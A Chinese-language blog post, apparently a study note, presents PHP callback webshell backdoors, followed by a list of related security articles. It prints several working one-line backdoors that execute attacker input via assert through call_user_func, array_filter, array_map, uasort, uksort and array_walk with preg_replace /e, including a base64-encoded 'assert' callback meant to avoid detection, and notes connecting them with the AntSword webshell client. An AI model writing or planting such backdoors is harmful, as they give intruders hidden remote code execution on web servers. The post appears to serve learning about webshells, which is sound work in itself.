RCE漏洞

创造tips的秘籍--PHP回调后门

php中包含回调函数参数的函数,具有做后门的潜质

python中也有回调map()、filter、reduce

windows远程连接端口3389

linux远程连接端口ssh-22

Linux拿站点,权限是www-gate(Linux最小权限原则)

windows比较容易横向拿站点

一、回调后门的老祖宗

php中call_user_func是执行回调函数的标准方法,这也是一个比较老的后门了

call_user_func (PHP 4, PHP 5, PHP 7, PHP 8) call_user_func --- 把第一个参数作为回调函数调用 说明 call_user_func(callable callback, mixed ...args): mixed 第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。

源码:

php 复制代码
<?php

call_user_func('assert',$_REQUEST['pass']);                        //(第一种,传正常字符串)

call_user_func_array('assert',array($_REQUEST['pass']));           //(第二种,可以传数组)

$_REQUEST(可以接get、post、cookie)

php7.4以后的assert函数被禁用

思考:

怎么用后门:

怎么连接一句话木马

可以见得直接用get传参是可以执行的

call_user_func('assert',$_REQUEST'pass');就相当于assert(传参值)

那让pass=POST\[123\]不就是assert(POST123)

但是尝试后显然不行

get传参不行尝试下post传参

还是不行

但是使用eval($_POST123)可以连接

思考:为什么呢

抓包对比下

二、数组操作造成的单参数回调后门

php 复制代码
<?php

$e = $_REQUEST['e'];

$arr = array($_POST['pass'],);

array_filter($arr,base64_decode($e));
php 复制代码
<?php

$e = $_REQUEST['e'];

$arr = array($_POST['pass'],);

array_map(base64_decode($e),$arr);

get传参e=YXNzZXJ0

base64_decode($e)后解码为assert

array_filter --- 使用回调函数过滤数组的元素

array_filter (array $array, ?callable $callback = null , int $mode = 0): array

最终执行的是assert(phpinfo();)

那如何连接蚁剑呢

三、php5.4.8+中的assert

在php5.4.8以后的版本中,assert函数由一个参数,增加了一个可选参数descrition

可以有一个参数也可以有两个参数,那么以前回调后门中有两个参数的回调函数就可以用了

php 复制代码
<?php
$e = $_REQUEST['e'];
$arr = array('test',$_REQUEST['pass']);
uasort($arr,base64_decode($e));
php 复制代码
<?php
$e = $_REQUEST['e'];
$arr = array('test' => 1,$_REQUEST['pass'] => 2);
uksort($arr,$e);

我们使用第二种试试

uksort --- 使用用户自定义的比较函数对数组中的键名进行排序

uksort (array &$array, callable $callback): true

使用用户自定义的比较函数对 array 本身进行按键(key)排序以确定顺序。

四、三参数的回调后门

三个参数:preg_replace /e模式

三个参数可以用preg_replace。所以这里构造了一个array_walk+preg_replace的回调后门

php 复制代码
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk($arr,$e,'');

array_walk --- 使用用户自定义函数对数组中的每个元素做回调处理

array_walk (array|object &$array, callable $callback, mixed $arg = null ): true

将用户自定义函数 callback 应用到 array 数组中的每个单元。

这里的php中的.(点)是存在问题的

回想diqile中mysql注入中i.d--->i_d

.*={${phpinfo()}}

\S*=${phpinfo()}

相关推荐
kingx34 小时前
Bugku WEB 题解总集:文件包含 / SQLi / 反序列化 / SSTI / 反爬 / 组件漏洞
web安全·网络安全·ctf·bugku
我爱学习_zwj9 小时前
IP 地址与子网划分
网络协议·网络安全
重生之我在番茄自学网安拯救世界1 天前
AI 开发者日报 第1期(本周精选)| 插件市场投毒、智能体搞出“官僚饥荒村”,十年前的 CNN 打赢大模型
人工智能·网络安全·大模型·ai编程·智能体
m0_738120721 天前
JWT 安全从入门到实战:六种典型攻击场景解析
前端·网络·python·安全·网络安全
重生之我在番茄自学网安拯救世界1 天前
AI开发者日报 第2期 | Anthropic零 Rust 团队靠Claude重写核心 API,CPU 降 40–50%
人工智能·网络安全·大模型·ai编程·claude
五萝卜1 天前
AI 供应链 RAG 安全
人工智能·网络安全·ai编程
自由彩虹2 天前
靶场通关15--bossplayersctf
linux·服务器·网络·安全·web安全·网络安全
武雄(小星Ai)2 天前
Cursor市场Claude Code扩展被植入SSH后门:一次供应链投毒的完整拆解与自查手册
安全·网络安全·供应链攻击
~央千澈~2 天前
优雅草新产品2026 年 10 月 31 日公测完毕v1.0.0 优雅草人机盾正式运营上线
安全·网络安全·安全防御
山川绿水2 天前
DeepSeek-DSH安装报错[deploy] 命令失败:npx -y pnpm install --prefer-offline
人工智能·网络安全